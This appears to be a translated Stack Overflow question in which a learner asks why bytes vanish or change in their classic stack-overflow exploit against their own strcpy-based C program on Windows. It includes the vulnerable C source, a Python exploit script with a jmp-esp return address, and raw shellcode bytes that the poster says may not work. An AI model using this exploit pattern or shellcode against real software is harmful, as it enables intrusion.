有时我的一些字节在我的漏洞中消失了。为什么?

时间:2014-07-07 08:50:04

标签: python c exploit shellcode ollydbg

我尝试编写自己的漏洞。这个想法很简单 - 将返回地址覆盖到操作码的位置' jmp esp'。在esp中是我的shellcode的地址。

所以我有这个简单的程序:

#include <stdio.h>
#include <string.h> 

void do_something(char *Buffer)
{
    char MyVar[100];
    strcpy(MyVar,Buffer);
}

int main (int argc, char **argv)
{
    do_something(argv[1]);
    return 0;
}

我的漏洞利用python编写。代码:(我认为我的shellcode不起作用,但现在不重要了)

import os
import subprocess

out = '\x48' * 112
out = out + <address of 'jmp esp' opcode>
out = out + '\xcc\xC9\x64\x8B\x71\x30\x8B\x76\x0C\x8B\x76\x1C\x8B\x36\x8B\x06\x8B\x68  \x08\xEB\x20\x5B\x53\x55\x5B\x81\xEB\x11\x11\x11\x11\x81\xC3\xDA\x3F\x1A\x11\xFF\xD3\x81\xC3\x11\x11\x11\x11\x81\xEB\x8C\xCC\x18\x11\xFF\xD3\xE8\xDB\xFF\xFF\xFF\x63\x6d\x64'

subprocess.call(['SimpleExploit.exe', out]) 

如果地址是&#39; jmp esp&#39;操作码我已为0x41414141设置:(AAAA) 一切都好(当然0x41414141不是好地址,但我可以看到内存已经被覆盖了)

ollydbg output

如果我输入正确的地址,我的问题就开始了。我找到了0x7769E24D,所以我使用了这个值,然后在ollydbg中我看到了:

ollydbg output2

这是我的问题:为什么内存看起来不同?看起来已经删除了一行。但为什么?有趣的是,如果我只更改一个字节(0x770x41),则使用正确的值覆盖内存。

ollydbg output3

第二个问题是我的一些字节会转换为不同的值 - 例如0x8b0x3f

有人可以告诉我为什么会这样吗?也许这是一种保护?这与我的操作系统有关吗?我使用的是Windows 8.1 x64。

0 个答案:

没有答案